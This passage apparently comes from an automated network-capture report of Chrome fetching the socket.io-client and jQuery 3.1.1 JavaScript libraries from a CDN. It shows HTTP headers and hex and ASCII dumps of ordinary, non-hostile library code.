{"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f1446a519434343-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 07:35:11 UTC	418	IN	Data Raw: 33 38 39 36 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 77 65 62 70 61 63 6b 55 6e 69 76 65 72 73 61 6c 4d 6f 64 75 6c 65 44 65 66 69 6e 69 74 69 6f 6e 28 72 6f 6f 74 2c 20 66 61 63 74 6f 72 79 29 20 7b 0a 09 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 20 26 26 20 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 20 3d 3d 3d 20 27 6f 62 6a 65 63 74 27 29 0a 09 09 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 66 61 63 74 6f 72 79 28 29 3b 0a 09 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 29 0a 09 09 64 65 66 69 6e 65 28 5b 5d 2c 20 66 61 63 74 6f 72 79 29 3b 0a 09 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 65 78 70 6f Data Ascii: 3896(function webpackUniversalModuleDefinition(root, factory) {if(typeof exports === 'object' && typeof module === 'object')module.exports = factory();else if(typeof define === 'function' && define.amd)define([], factory);else if(typeof expo
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 2a 2a 2f 20 09 2f 2f 20 54 68 65 20 6d 6f 64 75 6c 65 20 63 61 63 68 65 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 76 61 72 20 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 20 3d 20 7b 7d 3b 0a 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 2f 2f 20 54 68 65 20 72 65 71 75 69 72 65 20 66 75 6e 63 74 69 6f 6e 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 66 75 6e 63 74 69 6f 6e 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 6d 6f 64 75 6c 65 49 64 29 20 7b 0a 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 2f 2f 20 43 68 65 63 6b 20 69 66 20 6d 6f 64 75 6c 65 20 69 73 20 69 6e 20 63 61 63 68 65 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 69 66 28 69 6e 73 74 61 6c 6c 65 64 4d 6f 64 75 6c 65 73 5b 6d 6f 64 75 6c 65 49 64 5d 29 0a 2f 2a 2a 2a 2a 2a 2a 2f 20 09 09 09 72 65 74 75 72 6e 20 69 6e 73 Data Ascii: / // The module cache/**/ var installedModules = {};/**/ // The require function/**/ function __webpack_require__(moduleId) {/**/ // Check if module is in cache/**/ if(installedModules[moduleId])/****/ return ins
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 53 79 6d 62 6f 6c 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 26 26 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 3d 3d 3d 20 22 73 79 6d 62 6f 6c 22 20 3f 20 66 75 6e 63 74 69 6f 6e 20 28 6f 62 6a 29 20 7b 20 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 3b 20 7d 20 3a 20 66 75 6e 63 74 69 6f 6e 20 28 6f 62 6a 29 20 7b 20 72 65 74 75 72 6e 20 6f 62 6a 20 26 26 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 26 26 20 6f 62 6a 2e 63 6f 6e 73 74 72 75 63 74 6f 72 20 3d 3d 3d 20 53 79 6d 62 6f 6c 20 26 26 20 6f 62 6a 20 21 3d 3d 20 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 20 3f 20 22 73 79 6d 62 6f 6c 22 20 3a 20 74 79 70 65 6f 66 20 6f 62 6a 3b 20 7d 3b 0a 0a 09 2f 2a 2a 0a Data Ascii: Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };/**
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 09 20 20 69 66 20 28 6e 65 77 43 6f 6e 6e 65 63 74 69 6f 6e 29 20 7b 0a 09 20 20 20 20 64 65 62 75 67 28 27 69 67 6e 6f 72 69 6e 67 20 73 6f 63 6b 65 74 20 63 61 63 68 65 20 66 6f 72 20 25 73 27 2c 20 73 6f 75 72 63 65 29 3b 0a 09 20 20 20 20 69 6f 20 3d 20 4d 61 6e 61 67 65 72 28 73 6f 75 72 63 65 2c 20 6f 70 74 73 29 3b 0a 09 20 20 7d 20 65 6c 73 65 20 7b 0a 09 20 20 20 20 69 66 20 28 21 63 61 63 68 65 5b 69 64 5d 29 20 7b 0a 09 20 20 20 20 20 20 64 65 62 75 67 28 27 6e 65 77 20 69 6f 20 69 6e 73 74 61 6e 63 65 20 66 6f 72 20 25 73 27 2c 20 73 6f 75 72 63 65 29 3b 0a 09 20 20 20 20 20 20 63 61 63 68 65 5b 69 64 5d 20 3d 20 4d 61 6e 61 67 65 72 28 73 6f 75 72 63 65 2c 20 6f 70 74 73 29 3b 0a 09 20 20 20 20 7d 0a 09 20 20 20 20 69 6f 20 3d 20 63 61 63 68 Data Ascii: if (newConnection) { debug('ignoring socket cache for %s', source); io = Manager(source, opts); } else { if (!cache[id]) { debug('new io instance for %s', source); cache[id] = Manager(source, opts); } io = cach
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 32 29 3b 0a 09 76 61 72 20 64 65 62 75 67 20 3d 20 5f 5f 77 65 62 70 61 63 6b 5f 72 65 71 75 69 72 65 5f 5f 28 33 29 28 27 73 6f 63 6b 65 74 2e 69 6f 2d 63 6c 69 65 6e 74 3a 75 72 6c 27 29 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 4d 6f 64 75 6c 65 20 65 78 70 6f 72 74 73 2e 0a 09 20 2a 2f 0a 0a 09 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 75 72 6c 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 55 52 4c 20 70 61 72 73 65 72 2e 0a 09 20 2a 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 53 74 72 69 6e 67 7d 20 75 72 6c 0a 09 20 2a 20 40 70 61 72 61 6d 20 7b 4f 62 6a 65 63 74 7d 20 41 6e 20 6f 62 6a 65 63 74 20 6d 65 61 6e 74 20 74 6f 20 6d 69 6d 69 63 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 0a 09 20 2a Data Ascii: __webpack_require__(2);var debug = __webpack_require__(3)('socket.io-client:url');/** * Module exports. /module.exports = url;/* * URL parser. * * @param {String} url * @param {Object} An object meant to mimic window.location. *
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 20 69 70 76 36 20 3f 20 27 5b 27 20 2b 20 6f 62 6a 2e 68 6f 73 74 20 2b 20 27 5d 27 20 3a 20 6f 62 6a 2e 68 6f 73 74 3b 0a 0a 09 20 20 2f 2f 20 64 65 66 69 6e 65 20 75 6e 69 71 75 65 20 69 64 0a 09 20 20 6f 62 6a 2e 69 64 20 3d 20 6f 62 6a 2e 70 72 6f 74 6f 63 6f 6c 20 2b 20 27 3a 2f 2f 27 20 2b 20 68 6f 73 74 20 2b 20 27 3a 27 20 2b 20 6f 62 6a 2e 70 6f 72 74 3b 0a 09 20 20 2f 2f 20 64 65 66 69 6e 65 20 68 72 65 66 0a 09 20 20 6f 62 6a 2e 68 72 65 66 20 3d 20 6f 62 6a 2e 70 72 6f 74 6f 63 6f 6c 20 2b 20 27 3a 2f 2f 27 20 2b 20 68 6f 73 74 20 2b 20 28 6c 6f 63 20 26 26 20 6c 6f 63 2e 70 6f 72 74 20 3d 3d 3d 20 6f 62 6a 2e 70 6f 72 74 20 3f 20 27 27 20 3a 20 27 3a 27 20 2b 20 6f 62 6a 2e 70 6f 72 74 29 3b 0a 0a 09 20 20 72 65 74 75 72 6e 20 6f 62 6a 3b 0a Data Ascii: ipv6 ? '[' + obj.host + ']' : obj.host; // define unique id obj.id = obj.protocol + '://' + host + ':' + obj.port; // define href obj.href = obj.protocol + '://' + host + (loc && loc.port === obj.port ? '' : ':' + obj.port); return obj;
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 26 26 20 65 20 21 3d 20 2d 31 29 20 7b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 73 6f 75 72 63 65 20 3d 20 73 72 63 3b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 68 6f 73 74 20 3d 20 75 72 69 2e 68 6f 73 74 2e 73 75 62 73 74 72 69 6e 67 28 31 2c 20 75 72 69 2e 68 6f 73 74 2e 6c 65 6e 67 74 68 20 2d 20 31 29 2e 72 65 70 6c 61 63 65 28 2f 3b 2f 67 2c 20 27 3a 27 29 3b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 61 75 74 68 6f 72 69 74 79 20 3d 20 75 72 69 2e 61 75 74 68 6f 72 69 74 79 2e 72 65 70 6c 61 63 65 28 27 5b 27 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 27 5d 27 2c 20 27 27 29 2e 72 65 70 6c 61 63 65 28 2f 3b 2f 67 2c 20 27 3a 27 29 3b 0d 0a 09 20 20 20 20 20 20 20 20 75 72 69 2e 69 70 76 36 75 72 69 20 3d 20 74 72 75 65 3b 0d 0a 09 20 20 20 Data Ascii: && e != -1) { uri.source = src; uri.host = uri.host.substring(1, uri.host.length - 1).replace(/;/g, ':'); uri.authority = uri.authority.replace('[', '').replace(']', '').replace(/;/g, ':'); uri.ipv6uri = true;
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 37 33 0a 09 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 20 69 73 20 75 6e 64 65 66 69 6e 65 64 20 69 6e 20 72 65 61 63 74 2d 6e 61 74 69 76 65 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 66 61 63 65 62 6f 6f 6b 2f 72 65 61 63 74 2d 6e 61 74 69 76 65 2f 70 75 6c 6c 2f 31 36 33 32 0a 09 20 20 72 65 74 75 72 6e 20 28 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 27 57 65 62 6b 69 74 41 70 70 65 61 72 61 6e 63 65 27 20 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 29 20 7c 7c 0a 09 20 20 20 20 2f 2f 20 69 73 20 66 69 72 65 62 75 67 3f 20 68 74 74 70 3a 2f 2f 73 74 61 63 6b 6f 76 65 72 66 6c 6f 77 2e 63 6f 6d 2f 61 2f 33 39 38 31 32 30 Data Ascii: 73 // document is undefined in react-native: https://github.com/facebook/react-native/pull/1632 return (typeof document !== 'undefined' && 'WebkitAppearance' in document.documentElement.style) \|\| // is firebug? http://stackoverflow.com/a/398120
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 75 6c 64 20 62 65 20 6f 74 68 65 72 0a 09 20 20 2f 2f 20 61 72 67 75 6d 65 6e 74 73 20 70 61 73 73 65 64 20 65 69 74 68 65 72 20 62 65 66 6f 72 65 20 6f 72 20 61 66 74 65 72 20 74 68 65 20 25 63 2c 20 73 6f 20 77 65 20 6e 65 65 64 20 74 6f 0a 09 20 20 2f 2f 20 66 69 67 75 72 65 20 6f 75 74 20 74 68 65 20 63 6f 72 72 65 63 74 20 69 6e 64 65 78 20 74 6f 20 69 6e 73 65 72 74 20 74 68 65 20 43 53 53 20 69 6e 74 6f 0a 09 20 20 76 61 72 20 69 6e 64 65 78 20 3d 20 30 3b 0a 09 20 20 76 61 72 20 6c 61 73 74 43 20 3d 20 30 3b 0a 09 20 20 61 72 67 73 5b 30 5d 2e 72 65 70 6c 61 63 65 28 2f 25 5b 61 2d 7a 25 5d 2f 67 2c 20 66 75 6e 63 74 69 6f 6e 28 6d 61 74 63 68 29 20 7b 0a 09 20 20 20 20 69 66 20 28 27 25 25 27 20 3d 3d 3d 20 6d 61 74 63 68 29 20 72 65 74 75 72 6e Data Ascii: uld be other // arguments passed either before or after the %c, so we need to // figure out the correct index to insert the CSS into var index = 0; var lastC = 0; args[0].replace(/%[a-z%]/g, function(match) { if ('%%' === match) return
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 62 75 67 20 69 73 6e 27 74 20 73 65 74 20 69 6e 20 4c 53 2c 20 61 6e 64 20 77 65 27 72 65 20 69 6e 20 45 6c 65 63 74 72 6f 6e 2c 20 74 72 79 20 74 6f 20 6c 6f 61 64 20 24 44 45 42 55 47 0a 09 20 20 69 66 20 28 74 79 70 65 6f 66 20 70 72 6f 63 65 73 73 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 27 65 6e 76 27 20 69 6e 20 70 72 6f 63 65 73 73 29 20 7b 0a 09 20 20 20 20 72 65 74 75 72 6e 20 70 72 6f 63 65 73 73 2e 65 6e 76 2e 44 45 42 55 47 3b 0a 09 20 20 7d 0a 09 7d 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 45 6e 61 62 6c 65 20 6e 61 6d 65 73 70 61 63 65 73 20 6c 69 73 74 65 64 20 69 6e 20 60 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 64 65 62 75 67 60 20 69 6e 69 74 69 61 6c 6c 79 2e 0a 09 20 2a 2f 0a 0a 09 65 78 70 6f 72 74 73 2e 65 6e 61 62 6c 65 28 Data Ascii: bug isn't set in LS, and we're in Electron, try to load $DEBUG if (typeof process !== 'undefined' && 'env' in process) { return process.env.DEBUG; }}/** * Enable namespaces listed in `localStorage.debug` initially. */exports.enable(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49763	104.17.25.14	443	764	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:35:10 UTC	608	OUT	GET /ajax/libs/jquery/3.1.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-13 07:35:11 UTC	941	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:35:11 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03ec4-152b5" Last-Modified: Mon, 04 May 2020 16:11:48 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Wed, 03 Dec 2025 07:35:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XdNOu6ypQmfO3rZX02eXd4AuYqhA7itR89HuMSFFJ6LgEIY196M6nGKGfPYy9cI2cudWFAKXhZkNBPejyUEQOFNnBNFbItWS9ZKK25zU3Ceu7eq4RC1qWnetk99St8OVjguTlTaf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f1446a52e8d0f75-EWR alt-svc: h3=":443"; ma=86400
2024-12-13 07:35:11 UTC	428	IN	Data Raw: 33 38 39 38 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 Data Ascii: 3898/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a wi
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 74 2c 68 3d 63 2e 70 75 73 68 2c 69 3d 63 2e 69 6e 64 65 78 4f 66 2c 6a 3d 7b 7d 2c 6b 3d 6a 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 6a 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6d 3d 6c 2e 74 6f 53 74 72 69 6e 67 2c 6e 3d 6d 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 70 28 61 2c 62 29 7b 62 3d 62 7c 7c 64 3b 76 61 72 20 63 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 63 2e 74 65 78 74 3d 61 2c 62 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 29 7d 76 61 72 20 71 3d 22 33 2e 31 2e 31 22 2c 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 72 2e 66 6e 2e 69 6e Data Ascii: t,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.in
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 69 6e 4f 62 6a 65 63 74 28 64 29 7c 7c 28 65 3d 72 2e 69 73 41 72 72 61 79 28 64 29 29 29 3f 28 65 3f 28 65 3d 21 31 2c 66 3d 63 26 26 72 2e 69 73 41 72 72 61 79 28 63 29 3f 63 3a 5b 5d 29 3a 66 3d 63 26 26 72 2e 69 73 50 6c 61 69 6e 4f 62 6a 65 63 74 28 63 29 3f 63 3a 7b 7d 2c 67 5b 62 5d 3d 72 2e 65 78 74 65 6e 64 28 6a 2c 66 2c 64 29 29 3a 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 67 5b 62 5d 3d 64 29 29 3b 72 65 74 75 72 6e 20 67 7d 2c 72 2e 65 78 74 65 6e 64 28 7b 65 78 70 61 6e 64 6f 3a 22 6a 51 75 65 72 79 22 2b 28 71 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2e 72 65 70 6c 61 63 65 28 2f 5c 44 2f 67 2c 22 22 29 2c 69 73 52 65 61 64 79 3a 21 30 2c 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 Data Ascii: inObject(d)\|\|(e=r.isArray(d)))?(e?(e=!1,f=c&&r.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 62 3f 2d 31 3a 69 2e 63 61 6c 6c 28 62 2c 61 2c 63 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 2b 62 2e 6c 65 6e 67 74 68 2c 64 3d 30 2c 65 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 61 5b 65 2b 2b 5d 3d 62 5b 64 5d 3b 72 65 74 75 72 6e 20 61 2e 6c 65 6e 67 74 68 3d 65 2c 61 7d 2c 67 72 65 70 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 6f 72 28 76 61 72 20 64 2c 65 3d 5b 5d 2c 66 3d 30 2c 67 3d 61 2e 6c 65 6e 67 74 68 2c 68 3d 21 63 3b 66 3c 67 3b 66 2b 2b 29 64 3d 21 62 28 61 5b 66 5d 2c 66 29 2c 64 21 3d 3d 68 26 26 65 2e 70 75 73 68 28 61 5b 66 5d 29 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f Data Ascii: (a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:functio
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4b 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 4c 3d 22 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 30 2d 5c 5c 78 61 30 5d 29 2b 22 2c 4d 3d 22 5c 5c 5b 22 2b 4b 2b 22 2a 28 22 2b 4c 2b 22 29 28 3f 3a 22 2b 4b 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 4b 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 4c 2b 22 29 29 Data Ascii: toplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.\|[\\w-]\|[^\0-\\xa0])+",M="\\["+K+"("+L+")(?:"+K+"([^$\|!~]?=)"+K+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+L+"))
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 6f 6d 43 68 61 72 43 6f 64 65 28 64 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 64 7c 35 36 33 32 30 29 7d 2c 62 61 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 3f 22 5c 30 22 3d 3d 3d 61 3f 22 5c 75 66 66 66 64 22 3a 61 2e 73 6c 69 63 65 28 30 2c 2d 31 29 2b 22 5c 5c 22 2b 61 2e 63 68 61 72 43 6f 64 65 41 74 28 61 2e 6c 65 6e 67 74 68 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 61 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6d 28 29 7d 2c 65 61 3d 74 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 64 Data Ascii: omCharCode(d>>10\|55296,1023&d\|56320)},ba=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.d
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 72 29 74 72 79 7b 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 73 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 72 29 29 2c 64 7d 63 61 74 63 68 28 78 29 7b 7d 66 69 6e 61 6c 6c 79 7b 6b 3d 3d 3d 75 26 26 62 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7d 7d 7d 72 65 74 75 72 6e 20 69 28 61 2e 72 65 70 6c 61 63 65 28 50 2c 22 24 31 22 29 2c 62 2c 64 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 68 61 28 29 7b 76 61 72 20 61 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 62 28 63 2c 65 29 7b 72 65 74 75 72 6e 20 61 2e 70 75 73 68 28 63 2b 22 20 22 29 3e 64 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 62 5b 61 2e 73 68 69 66 74 28 29 5d 2c 62 5b 63 2b 22 20 22 5d 3d 65 7d 72 65 74 75 72 6e 20 62 7d 66 75 6e 63 74 69 6f Data Ascii: r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}functio
2024-12-13 07:35:11 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 26 26 28 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 21 62 26 26 22 48 54 4d 4c 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 7d 2c 6d 3d 67 61 2e 73 65 74 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 65 2c 67 3d 61 3f 61 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 61 3a 76 3b 72 65 74 75 72 6e 20 67 21 3d 3d 6e 26 26 39 3d 3d 3d 67 2e 6e 6f 64 65 54 79 70 65 26 26 67 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3f 28 6e 3d 67 2c 6f 3d 6e 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 70 3d 21 66 28 6e 29 2c 76 21 3d 3d 6e 26 26 28 65 3d 6e 2e 64 65 66 61 75 6c 74 56 69 65 77 29 Data Ascii: nction(a){var b=a&&(a.ownerDocument\|\|a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument\|\|a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)
